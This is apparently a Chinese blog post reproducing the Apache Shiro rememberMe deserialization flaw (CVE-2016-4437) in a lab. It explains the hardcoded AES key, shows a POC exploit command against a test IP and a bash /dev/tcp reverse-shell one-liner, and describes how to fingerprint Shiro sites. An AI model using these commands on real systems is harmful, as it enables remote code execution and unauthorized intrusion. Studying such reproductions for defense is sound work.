• Apache Shiro反序列化漏洞复现(CVE-2016-4437)


    0x00 Apache Shiro简介

    Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。

    Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。

    只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都会导致反序列化漏洞。

    0x01 漏洞分析

    Shiro提供了记住我(RememberMe)的功能,关闭了浏览器下次再打开时还是能记住你是谁,下次访问时无需再登录即可访问。

    Shiro对rememberMe的cookie做了加密处理,shiro在CookieRememberMeManaer类中将cookie中rememberMe字段内容分别进行 序列化、AES加密、Base64编码操作。

    在识别身份的时候,需要对Cookie里的rememberMe字段解密。根据加密的顺序,不难知道解密的顺序为:

    • 获取rememberMe cookie
    • base64 decode
    • 解密AES
    • 反序列化

    但是,AES加密的密钥Key被硬编码在代码里,意味着每个人通过源代码都能拿到AES加密的密钥。因此,攻击者构造一个恶意的对象,并且对其序列化,AES加密,base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。

    0x02 使用POC自动化攻击

    点击环境搭建

    点击下载POC

    为了验证POC是否可用,我们试着利用POC在服务器新建一个a.txt文件。

    python shiro_exploit.py -t 3 -u http://192.168.2.184:8080 -p "touch a.txt"
    

    创建成功:

    0x03 利用nc反弹shell

    为解决通过Runtime.getRuntime().exec()执行命令的有效负载有时会失败的问题,使用在线转换器转换命令,保证没有空格的存在。

    bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/3444 0>&1
    


    执行POC

    反弹成功

    0x04 利用姿势

    (1)如何判断一个站点使用了shiro框架?我们只需将发包中的cookie设置为Cookie: rememberMe=1 向根目录/ 发送POST/GET请求,若返回rememberMe=deleteMe, 那么就是shiro的代码。

    0x05 参考连接

    https://www.cnblogs.com/renhaoblog/p/12971152.html(我的老部长~)

    声明:以上仅用作学习研究,切勿用作违反犯罪活动~

  • 相关阅读:
    csu1804
    uvalive4513
    poj3264(Sparse-Table 算法模板)
    uva11107(后缀数组)
    poj2774(最长公共子串)
    uvalive4108(线段树)
    hdu5306 Gorgeous Sequence
    bzoj2823: [AHOI2012]信号塔&&1336: [Balkan2002]Alien最小圆覆盖&&1337: 最小圆覆盖
    bzoj3330: [BeiJing2013]分数
    bzoj1283: 序列
  • 原文地址:https://www.cnblogs.com/Feng-L/p/13684555.html
Copyright © 2020-2023  润新知